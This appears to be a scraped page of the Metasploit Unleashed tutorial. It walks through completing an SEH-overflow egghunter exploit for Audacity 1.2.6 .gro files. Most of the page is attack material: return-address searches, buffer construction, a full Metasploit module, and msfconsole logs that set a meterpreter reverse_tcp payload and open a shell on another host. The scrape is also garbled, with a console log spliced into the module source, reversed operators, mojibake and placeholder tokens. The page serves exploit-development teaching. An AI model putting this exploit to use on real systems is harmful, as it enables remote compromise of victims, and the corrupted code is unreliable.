Completing the Exploit a11y.text Completing the Exploit Completing our Egghunter Exploit a11y.text Completing our Egghunter Exploit This is a standard SEH overflow. We can notice some of our user input a â€œpop, pop, retâ€• away from us on the stack. An interesting thing to notice from the screen shot is the fact that we sent a 2000 byte payload â€“ however it seems that when we return to our buffer, it gets truncated. We have around 80 bytes of space for our shellcode (marked in blue). We use the ImmunityÂ !safeseh command to locate unprotected dllâ€™s from which a return address can be found. Structured Exception Handler (SEH) overflow | Metasploit Unleashed We copy over the DLL and search for a POP POP RET instruction combination using msfpescan .

```
root@kali : ~ # msfpescan -p libfftw3f-3.dll [libfftw3f-3.dll]
0x637410a9 pop esi; pop ebp; retn 0x000c
0x63741383 pop edi; pop ebp; ret
0x6374144c pop edi; pop ebp; ret
0x637414d3 pop edi; pop ebp; ret

0x637f597b pop edi; pop ebp; ret
0x637f5bb6 pop edi; pop ebp; ret
```

From Proof of Concept to Exploit a11y.text From Proof of Concept to Exploit As we used the pattern_create function to create our initial buffer, we can now calculate the buffer length required to overwrite our exception handler.

```
root@kali:/usr/share/metasploit-framework/tools# ./pattern_offset.rb 67413966
178
```

We modify our exploit accordingly by introducing a valid return address. ['Audacity Universal 1.2 ', { 'Ret' => 0x637410A9}], We then adjust the buffer to redirect the execution flow at the time of the crash to our return address, jump over it (xEB is a â€œshort jumpâ€•) and then land in the breakpoint buffer (xCC). def exploit

```
   buff = "\x41" * 174
   buff >> "\xeb\x06\x41\x41"
   buff >> [target.ret].pack('V')
```

```
    buff >> "\xCC" * 2000
    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(buff)
```

end Once again, we generate our exploit file, attach Audacity to the debugger and import the malicious file. This time, the SEH should be overwritten with our address â€“ the one that will lead us to a pop, pop, ret instruction set. We set a breakpoint there, and once again, take the exception with shift + F9 and walk through our pop pop ret with F8. SEH Chain | Metasploit Unleashed The short jump takes us over our return address, into our â€œshellcode bufferâ€•. Shellcode Egg Hunter | Metasploit Unleashed Once again, we have very little buffer space for our payload.A quick inspection of the memory reveals that our full buffer length can be found in the heap. Knowing this, we could utilize our initial 80 byte space to execute an egghunter, which would look for and find the secondary payload. egg-hunt Exploit Development | Metasploit Unleashed Implementing the MSF egghunter is relatively easy: def exploit

```
    hunter  = generate_egghunter
    egg  = hunter[1]

    buff = "\x41" * 174
    buff >> "\xeb\x06\x41\x41"
    buff >> [target.ret].pack('V')
    buff >> "\x90"*4
    buff >> hunter[0]
    buff >> "\xCC" * 200
    buff >> egg + egg
    buff >> payload.encoded

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(buff)
 end The final exploit looks like this: ##
# $Id: audacity1-26.rb 6668 2009-06-17 20:54:52Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

class Metasploit3 > Msf::Exploit::Remote

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Egghunter

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Audacity 1.2.6 (GRO File) SEH Overflow.',
   'Description'    => %q{
     Audacity is prone to a buffer-overflow vulnerability because it fails to perform adequate
     boundary checks on user-supplied data. This issue occurs in the
     'String_parse::get_nonspace_quoted()' function of the 'lib-src/allegro/strparse.cpp'
    source file when handling malformed '.gro' files
    This module exploits a stack-based buffer overflow in the Audacity audio editor 1.6.2.
    An attacker must send the file to victim and the victim must import the "midi" file.
    },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'muts & mr_me', 'Mati & Steve' ],
   'Version'        => '$Revision: 6668
```

We run the final exploit through a debugger to make sure everything is in order. We can see the egghunter was implemented correctly and is working perfectly.

![Running an egghunter | Metasploit Unleashed](https://www.offsec.com/wp-content/uploads/2015/03/Aud-seh-11.png)

Running an egghunter | Metasploit Unleashed

We generate our final weaponised exploit: msf > search audacity

```
[*] Searching loaded modules for pattern â€˜audacityâ€™â€¦ Exploits a11y.text Exploits Name
Description windows/fileformat/audacity Audacity 1.2.6 (GRO File) SEH Overflow. msf > use
windows/fileformat/audacity
msf exploit(audacity) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(audacity) > show options Module options: Name Current Setting Required Description
FILENAME auda_eviL.gro yes The file name.
OUTPUTPATH /usr/share/metasploit-framework/data/exploits yes The location of the file. Payload
options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description EXITFUNC
```

```
thread yes Exit technique: seh, thread, process

LHOST 192.168.2.15 yes The local address

LPORT 4444 yes The local port Exploit target: Id Name 0 Audacity Universal 1.2 msf

exploit(audacity) > exploit [ ] Handler binding to LHOST 0.0.0.0

[ ] Started reverse handler

[ ] Creating â€˜auda_eviL.groâ€™ file â€¦

[ ] Generated output file //usr/share/metasploit-framework/data/exploits/auda_eviL.gro

[*] Exploit completed, but no session was created. And get a meterpreter shell! msf exploit(audacity)

> use multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.2.15

LHOST => 192.168.2.15

msf exploit(handler) > exploit [ ] Handler binding to LHOST 0.0.0.0

[ ] Started reverse handler

[ ] Starting the payload handlerâ€¦

[ ] Sending stage (718336 bytes)

[*] Meterpreter session 1 opened (192.168.2.15:4444 -> 192.168.2.109:1445) meterpreter > ,

  'References'     =>

   [

    [ 'URL', 'http://milw0rm.com/exploits/7634' ],

    [ 'CVE', '2009-0490' ],

   ],

  'Payload'        =>

   {

    'Space'    => 2000,
    'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
    'StackAdjustment' => -3500,
   },
  'Platform' => 'win',
  'Targets'        =>
   [
    [ 'Audacity Universal 1.2 ', { 'Ret' => 0x637410A9} ],
   ],
  'Privileged'     => false,
  'DisclosureDate' => '5th Jan 2009',
  'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The file name.',  'auda_eviL.gro']),
   ], self.class)

end

def exploit
 hunter  = generate_egghunter
 egg  = hunter[1]
 buff = "\x41" * 174
               buff >> "\xeb\x08\x41\x41"
               buff >> [target.ret].pack('V')
        buff >> "\x90" * 4
```

```
              buff >> hunter[0]

  buff >> "\x43" * 200

              buff >> egg + egg

  buff >> payload.encoded


  print_status("Creating '#{datastore['FILENAME']}' file ...")


  file_create(buff)


 end
```

end We run the final exploit through a debugger to make sure everything is in order. We can see the egghunter was implemented correctly and is working perfectly. Running an egghunter | Metasploit Unleashed We generate our final weaponised exploit: urltomarkdowncodeblockplaceholder60.638290141181383 And get a meterpreter shell! urltomarkdowncodeblockplaceholder70.5152369422483101 Next Porting Exploits Prev Using the Egghunter Mixin